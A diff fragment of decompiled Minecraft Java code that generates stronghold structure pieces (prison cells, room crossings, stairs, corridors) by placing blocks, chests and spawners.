+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var9).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 7, 3, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var9).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 7, 3, 11, p_74875_3_);
+      
+      if (!hasSpawner)
+      {
+        int var12 = getYWithOffset(3);
+        net.minecraft.util.BlockPos var10 = new net.minecraft.util.BlockPos(getXWithOffset(5, 6), var12, getZWithOffset(5, 6));
+        
+        if (p_74875_3_.func_175898_b(var10))
+        {
+          hasSpawner = true;
+          worldIn.setBlockState(var10, Blocks.mob_spawner.getDefaultState(), 2);
+          net.minecraft.tileentity.TileEntity var11 = worldIn.getTileEntity(var10);
+          
+          if ((var11 instanceof net.minecraft.tileentity.TileEntityMobSpawner))
+          {
+            ((net.minecraft.tileentity.TileEntityMobSpawner)var11).getSpawnerBaseLogic().setEntityName("Silverfish");
+          }
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Prison extends StructureStrongholdPieces.Stronghold
+  {
+    private static final String __OBFID = "CL_00000494";
+    
+    public Prison() {}
+    
+    public Prison(int p_i45576_1_, Random p_i45576_2_, StructureBoundingBox p_i45576_3_, EnumFacing p_i45576_4_)
+    {
+      super();
+      coordBaseMode = p_i45576_4_;
+      field_143013_d = getRandomDoor(p_i45576_2_);
+      boundingBox = p_i45576_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 1);
+    }
+    
+    public static Prison func_175860_a(List p_175860_0_, Random p_175860_1_, int p_175860_2_, int p_175860_3_, int p_175860_4_, EnumFacing p_175860_5_, int p_175860_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175860_2_, p_175860_3_, p_175860_4_, -1, -1, 0, 9, 5, 11, p_175860_5_);
+      return (canStrongholdGoDeeper(var7)) && (StructureComponent.findIntersecting(p_175860_0_, var7) == null) ? new Prison(p_175860_6_, p_175860_1_, var7, p_175860_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 8, 4, 10, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 1, 1, 0);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 10, 3, 3, 10, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 1, 1, 4, 3, 1, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 1, 3, 4, 3, 3, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 1, 7, 4, 3, 7, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 1, 9, 4, 3, 9, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 4, 4, 3, 6, Blocks.iron_bars.getDefaultState(), Blocks.iron_bars.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 5, 7, 3, 5, Blocks.iron_bars.getDefaultState(), Blocks.iron_bars.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), 4, 3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), 4, 3, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.iron_door.getStateFromMeta(getMetadataWithOffset(Blocks.iron_door, 3)), 4, 1, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.iron_door.getStateFromMeta(getMetadataWithOffset(Blocks.iron_door, 3) + 8), 4, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.iron_door.getStateFromMeta(getMetadataWithOffset(Blocks.iron_door, 3)), 4, 1, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.iron_door.getStateFromMeta(getMetadataWithOffset(Blocks.iron_door, 3) + 8), 4, 2, 8, p_74875_3_);
+      return true;
+    }
+  }
+  
+  public static class RightTurn extends StructureStrongholdPieces.LeftTurn
+  {
+    private static final String __OBFID = "CL_00000495";
+    
+    public RightTurn() {}
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_) {
+      if ((coordBaseMode != EnumFacing.NORTH) && (coordBaseMode != EnumFacing.EAST))
+      {
+        getNextComponentX((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 1);
+      }
+      else
+      {
+        getNextComponentZ((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 1);
+      }
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 4, 4, 4, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 1, 1, 0);
+      
+      if ((coordBaseMode != EnumFacing.NORTH) && (coordBaseMode != EnumFacing.EAST))
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 1, 0, 3, 3, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      else
+      {
+        func_175804_a(worldIn, p_74875_3_, 4, 1, 1, 4, 3, 3, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class RoomCrossing
+    extends StructureStrongholdPieces.Stronghold
+  {
+    private static final List strongholdRoomCrossingChestContents = Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.iron_ingot, 0, 1, 5, 10), new WeightedRandomChestContent(Items.gold_ingot, 0, 1, 3, 5), new WeightedRandomChestContent(Items.redstone, 0, 4, 9, 5), new WeightedRandomChestContent(Items.coal, 0, 3, 8, 10), new WeightedRandomChestContent(Items.bread, 0, 1, 3, 15), new WeightedRandomChestContent(Items.apple, 0, 1, 3, 15), new WeightedRandomChestContent(Items.iron_pickaxe, 0, 1, 1, 1) });
+    protected int roomType;
+    private static final String __OBFID = "CL_00000496";
+    
+    public RoomCrossing() {}
+    
+    public RoomCrossing(int p_i45575_1_, Random p_i45575_2_, StructureBoundingBox p_i45575_3_, EnumFacing p_i45575_4_)
+    {
+      super();
+      coordBaseMode = p_i45575_4_;
+      field_143013_d = getRandomDoor(p_i45575_2_);
+      boundingBox = p_i45575_3_;
+      roomType = p_i45575_2_.nextInt(5);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setInteger("Type", roomType);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      roomType = p_143011_1_.getInteger("Type");
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 4, 1);
+      getNextComponentX((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 4);
+      getNextComponentZ((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 4);
+    }
+    
+    public static RoomCrossing func_175859_a(List p_175859_0_, Random p_175859_1_, int p_175859_2_, int p_175859_3_, int p_175859_4_, EnumFacing p_175859_5_, int p_175859_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175859_2_, p_175859_3_, p_175859_4_, -4, -1, 0, 11, 7, 11, p_175859_5_);
+      return (canStrongholdGoDeeper(var7)) && (StructureComponent.findIntersecting(p_175859_0_, var7) == null) ? new RoomCrossing(p_175859_6_, p_175859_1_, var7, p_175859_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 10, 6, 10, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 4, 1, 0);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 10, 6, 3, 10, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 4, 0, 3, 6, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 10, 1, 4, 10, 3, 6, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      
+
+      switch (roomType)
+      {
+      case 0: 
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 5, 1, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 5, 2, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 5, 3, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), 4, 3, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), 6, 3, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), 5, 3, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), 5, 3, 6, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_slab.getDefaultState(), 4, 1, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_slab.getDefaultState(), 4, 1, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_slab.getDefaultState(), 4, 1, 6, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_slab.getDefaultState(), 6, 1, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_slab.getDefaultState(), 6, 1, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_slab.getDefaultState(), 6, 1, 6, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_slab.getDefaultState(), 5, 1, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_slab.getDefaultState(), 5, 1, 6, p_74875_3_);
+        break;
+      
+      case 1: 
+        for (int var4 = 0; var4 < 5; var4++)
+        {
+          func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 3, 1, 3 + var4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 7, 1, 3 + var4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 3 + var4, 1, 3, p_74875_3_);
+          func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 3 + var4, 1, 7, p_74875_3_);
+        }
+        
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 5, 1, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 5, 2, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 5, 3, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.flowing_water.getDefaultState(), 5, 4, 5, p_74875_3_);
+        break;
+      
+      case 2: 
+        for (int var4 = 1; var4 <= 9; var4++)
+        {
+          func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 1, 3, var4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 9, 3, var4, p_74875_3_);
+        }
+        
+        for (var4 = 1; var4 <= 9; var4++)
+        {
+          func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), var4, 3, 1, p_74875_3_);
+          func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), var4, 3, 9, p_74875_3_);
+        }
+        
+        func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 5, 1, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 5, 1, 6, p_74875_3_);
+        func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 5, 3, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 5, 3, 6, p_74875_3_);
+        func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, 1, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 6, 1, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, 3, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 6, 3, 5, p_74875_3_);
+        
+        for (var4 = 1; var4 <= 3; var4++)
+        {
+          func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, var4, 4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 6, var4, 4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, var4, 6, p_74875_3_);
+          func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 6, var4, 6, p_74875_3_);
+        }
+        
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), 5, 3, 5, p_74875_3_);
+        
+        for (var4 = 2; var4 <= 8; var4++)
+        {
+          func_175811_a(worldIn, Blocks.planks.getDefaultState(), 2, 3, var4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.planks.getDefaultState(), 3, 3, var4, p_74875_3_);
+          
+          if ((var4 <= 3) || (var4 >= 7))
+          {
+            func_175811_a(worldIn, Blocks.planks.getDefaultState(), 4, 3, var4, p_74875_3_);
+            func_175811_a(worldIn, Blocks.planks.getDefaultState(), 5, 3, var4, p_74875_3_);
+            func_175811_a(worldIn, Blocks.planks.getDefaultState(), 6, 3, var4, p_74875_3_);
+          }
+          
+          func_175811_a(worldIn, Blocks.planks.getDefaultState(), 7, 3, var4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.planks.getDefaultState(), 8, 3, var4, p_74875_3_);
+        }
+        
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(getMetadataWithOffset(Blocks.ladder, EnumFacing.WEST.getIndex())), 9, 1, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(getMetadataWithOffset(Blocks.ladder, EnumFacing.WEST.getIndex())), 9, 2, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(getMetadataWithOffset(Blocks.ladder, EnumFacing.WEST.getIndex())), 9, 3, 3, p_74875_3_);
+        func_180778_a(worldIn, p_74875_3_, p_74875_2_, 3, 4, 8, WeightedRandomChestContent.func_177629_a(strongholdRoomCrossingChestContents, new WeightedRandomChestContent[] { Items.enchanted_book.getRandomEnchantedBook(p_74875_2_) }), 1 + p_74875_2_.nextInt(4));
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Stairs
+    extends StructureStrongholdPieces.Stronghold
+  {
+    private boolean field_75024_a;
+    private static final String __OBFID = "CL_00000498";
+    
+    public Stairs() {}
+    
+    public Stairs(int p_i2081_1_, Random p_i2081_2_, int p_i2081_3_, int p_i2081_4_)
+    {
+      super();
+      field_75024_a = true;
+      coordBaseMode = net.minecraft.util.EnumFacing.Plane.HORIZONTAL.random(p_i2081_2_);
+      field_143013_d = StructureStrongholdPieces.Stronghold.Door.OPENING;
+      
+      switch (StructureStrongholdPieces.SwitchEnumFacing.field_175951_b[coordBaseMode.ordinal()])
+      {
+      case 1: 
+      case 2: 
+        boundingBox = new StructureBoundingBox(p_i2081_3_, 64, p_i2081_4_, p_i2081_3_ + 5 - 1, 74, p_i2081_4_ + 5 - 1);
+        break;
+      
+      default: 
+        boundingBox = new StructureBoundingBox(p_i2081_3_, 64, p_i2081_4_, p_i2081_3_ + 5 - 1, 74, p_i2081_4_ + 5 - 1);
+      }
+    }
+    
+    public Stairs(int p_i45574_1_, Random p_i45574_2_, StructureBoundingBox p_i45574_3_, EnumFacing p_i45574_4_)
+    {
+      super();
+      field_75024_a = false;
+      coordBaseMode = p_i45574_4_;
+      field_143013_d = getRandomDoor(p_i45574_2_);
+      boundingBox = p_i45574_3_;
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Source", field_75024_a);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      field_75024_a = p_143011_1_.getBoolean("Source");
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      if (field_75024_a)
+      {
+        StructureStrongholdPieces.strongComponentType = StructureStrongholdPieces.Crossing.class;
+      }
+      
+      getNextComponentNormal((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 1);
+    }
+    
+    public static Stairs func_175863_a(List p_175863_0_, Random p_175863_1_, int p_175863_2_, int p_175863_3_, int p_175863_4_, EnumFacing p_175863_5_, int p_175863_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175863_2_, p_175863_3_, p_175863_4_, -1, -7, 0, 5, 11, 5, p_175863_5_);
+      return (canStrongholdGoDeeper(var7)) && (StructureComponent.findIntersecting(p_175863_0_, var7) == null) ? new Stairs(p_175863_6_, p_175863_1_, var7, p_175863_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 4, 10, 4, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 1, 7, 0);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, StructureStrongholdPieces.Stronghold.Door.OPENING, 1, 1, 4);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 2, 6, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 1, 5, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.STONE.func_176624_a()), 1, 6, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 1, 5, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 1, 4, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.STONE.func_176624_a()), 1, 5, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 2, 4, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 3, 3, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.STONE.func_176624_a()), 3, 4, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 3, 3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 3, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.STONE.func_176624_a()), 3, 3, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 2, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 1, 1, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.STONE.func_176624_a()), 1, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 1, 1, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.STONE.func_176624_a()), 1, 1, 3, p_74875_3_);
+      return true;
+    }
+  }
+  
+  public static class Stairs2
+    extends StructureStrongholdPieces.Stairs
+  {
+    public StructureStrongholdPieces.PieceWeight strongholdPieceWeight;
+    public StructureStrongholdPieces.PortalRoom strongholdPortalRoom;
+    public List field_75026_c = Lists.newArrayList();
+    private static final String __OBFID = "CL_00000499";
+    
+    public Stairs2() {}
+    
+    public Stairs2(int p_i2083_1_, Random p_i2083_2_, int p_i2083_3_, int p_i2083_4_)
+    {
+      super(p_i2083_2_, p_i2083_3_, p_i2083_4_);
+    }
+    
+    public net.minecraft.util.BlockPos func_180776_a()
+    {
+      return strongholdPortalRoom != null ? strongholdPortalRoom.func_180776_a() : super.func_180776_a();
+    }
+  }
+  
+  public static class StairsStraight extends StructureStrongholdPieces.Stronghold
+  {
+    private static final String __OBFID = "CL_00000501";
+    
+    public StairsStraight() {}
+    
+    public StairsStraight(int p_i45572_1_, Random p_i45572_2_, StructureBoundingBox p_i45572_3_, EnumFacing p_i45572_4_)
+    {
+      super();
+      coordBaseMode = p_i45572_4_;
+      field_143013_d = getRandomDoor(p_i45572_2_);
+      boundingBox = p_i45572_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 1);
+    }
+    
+    public static StairsStraight func_175861_a(List p_175861_0_, Random p_175861_1_, int p_175861_2_, int p_175861_3_, int p_175861_4_, EnumFacing p_175861_5_, int p_175861_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175861_2_, p_175861_3_, p_175861_4_, -1, -7, 0, 5, 11, 8, p_175861_5_);
+      return (canStrongholdGoDeeper(var7)) && (StructureComponent.findIntersecting(p_175861_0_, var7) == null) ? new StairsStraight(p_175861_6_, p_175861_1_, var7, p_175861_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 4, 10, 7, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 1, 7, 0);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, StructureStrongholdPieces.Stronghold.Door.OPENING, 1, 1, 7);
+      int var4 = getMetadataWithOffset(Blocks.stone_stairs, 2);
+      
+      for (int var5 = 0; var5 < 6; var5++)
+      {
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 1, 6 - var5, 1 + var5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 2, 6 - var5, 1 + var5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 3, 6 - var5, 1 + var5, p_74875_3_);
+        
+        if (var5 < 5)
+        {
+          func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 1, 5 - var5, 1 + var5, p_74875_3_);
+          func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 2, 5 - var5, 1 + var5, p_74875_3_);
+          func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 3, 5 - var5, 1 + var5, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  static class Stones
+    extends StructureComponent.BlockSelector
+  {
+    private static final String __OBFID = "CL_00000497";
+    
+    private Stones() {}
+    
+    public void selectBlocks(Random p_75062_1_, int p_75062_2_, int p_75062_3_, int p_75062_4_, boolean p_75062_5_)
+    {
+      if (p_75062_5_)
+      {
+        float var6 = p_75062_1_.nextFloat();
+        
+        if (var6 < 0.2F)
+        {
+          field_151562_a = Blocks.stonebrick.getStateFromMeta(net.minecraft.block.BlockStoneBrick.CRACKED_META);
+        }
+        else if (var6 < 0.5F)
+        {
+          field_151562_a = Blocks.stonebrick.getStateFromMeta(net.minecraft.block.BlockStoneBrick.MOSSY_META);
+        }
+        else if (var6 < 0.55F)
+        {
+          field_151562_a = Blocks.monster_egg.getStateFromMeta(net.minecraft.block.BlockSilverfish.EnumType.STONEBRICK.func_176881_a());
+        }
+        else
+        {
+          field_151562_a = Blocks.stonebrick.getDefaultState();
+        }
+      }
+      else
+      {
+        field_151562_a = Blocks.air.getDefaultState();
+      }
+    }
+    
+    Stones(Object p_i2080_1_)
+    {
+      this();
+    }
+  }
+  
+  public static class Straight extends StructureStrongholdPieces.Stronghold
+  {
+    private boolean expandsX;
+    private boolean expandsZ;
+    private static final String __OBFID = "CL_00000500";
+    
+    public Straight() {}
+    
+    public Straight(int p_i45573_1_, Random p_i45573_2_, StructureBoundingBox p_i45573_3_, EnumFacing p_i45573_4_)
+    {
+      super();
+      coordBaseMode = p_i45573_4_;
+      field_143013_d = getRandomDoor(p_i45573_2_);
+      boundingBox = p_i45573_3_;
+      expandsX = (p_i45573_2_.nextInt(2) == 0);
+      expandsZ = (p_i45573_2_.nextInt(2) == 0);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Left", expandsX);
+      p_143012_1_.setBoolean("Right", expandsZ);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      expandsX = p_143011_1_.getBoolean("Left");
+      expandsZ = p_143011_1_.getBoolean("Right");
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 1);
+      
+      if (expandsX)
+      {
+        getNextComponentX((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 2);
+      }
+      
+      if (expandsZ)
+      {
+        getNextComponentZ((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 2);
+      }
+    }
+    
+    public static Straight func_175862_a(List p_175862_0_, Random p_175862_1_, int p_175862_2_, int p_175862_3_, int p_175862_4_, EnumFacing p_175862_5_, int p_175862_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175862_2_, p_175862_3_, p_175862_4_, -1, -1, 0, 5, 5, 7, p_175862_5_);
+      return (canStrongholdGoDeeper(var7)) && (StructureComponent.findIntersecting(p_175862_0_, var7) == null) ? new Straight(p_175862_6_, p_175862_1_, var7, p_175862_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 4, 4, 6, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 1, 1, 0);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, StructureStrongholdPieces.Stronghold.Door.OPENING, 1, 1, 6);
+      func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.1F, 1, 2, 1, Blocks.torch.getDefaultState());
+      func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.1F, 3, 2, 1, Blocks.torch.getDefaultState());
+      func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.1F, 1, 2, 5, Blocks.torch.getDefaultState());
+      func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.1F, 3, 2, 5, Blocks.torch.getDefaultState());
+      
+      if (expandsX)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 2, 0, 3, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      if (expandsZ)
+      {
+        func_175804_a(worldIn, p_74875_3_, 4, 1, 2, 4, 3, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      return true;
+    }
+  }
+  
+  static abstract class Stronghold
+    extends StructureComponent
+  {
+    protected Door field_143013_d;
+    private static final String __OBFID = "CL_00000503";
+    
+    public Stronghold()
+    {
+      field_143013_d = Door.OPENING;
+    }
+    
+    protected Stronghold(int p_i2087_1_)
+    {
+      super();
+      field_143013_d = Door.OPENING;
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      p_143012_1_.setString("EntryDoor", field_143013_d.name());
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      field_143013_d = Door.valueOf(p_143011_1_.getString("EntryDoor"));
+    }
+    
